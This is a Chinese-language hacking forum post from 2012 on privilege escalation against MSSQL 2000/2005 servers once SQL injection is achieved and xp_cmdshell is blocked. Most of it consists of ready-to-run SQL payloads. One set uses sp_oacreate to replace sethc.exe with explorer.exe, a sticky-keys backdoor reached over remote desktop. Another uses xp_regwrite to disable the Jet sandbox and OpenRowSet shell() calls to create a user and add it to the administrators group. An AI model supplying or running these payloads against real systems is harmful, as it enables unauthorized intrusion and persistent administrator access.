MSSQL提权xp_cmdshell失败后的两种方法

[复制链接]
查看291 | 回复0 | 2012-4-1 19:17:44 | 显示全部楼层 |阅读模式
微软mssql2000/2005注入时execxp_cmdshell调用'CreateProcess'失败,错误代码:'5'两种解决办法:
================================================
原因不说了,一般都是cmd.exe被限制权限了,system用户没有权限。解决方法2种:


1、替换shift文件(在开启3389情况下)
‍下面两条语句为分别执行的。
这条语句将explorer.exe复制为sethc.exe
declare@ointexecsp_oacreate'scripting.filesystemobject',@ooutexecsp_oamethod@o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';
这条语句将sethc.exe复制到dllcache目录下
declare@oointexecsp_oacreate'scripting.filesystemobject',@oooutexecsp_oamethod@oo,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe';
另外这两条语句使用到的sp_oacreate存储过程需要使用到odsole70.dll这个文件,所以这个文件的存亡,关系到创建的成功与否。
 
 
2、直接开启acess的沙盘(沙盒),来执行命令:
‍EXECmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','selectshell("netuser123123/add")');

Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','selectshell("netlocalgroupadministrators123/add")');
 
 
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则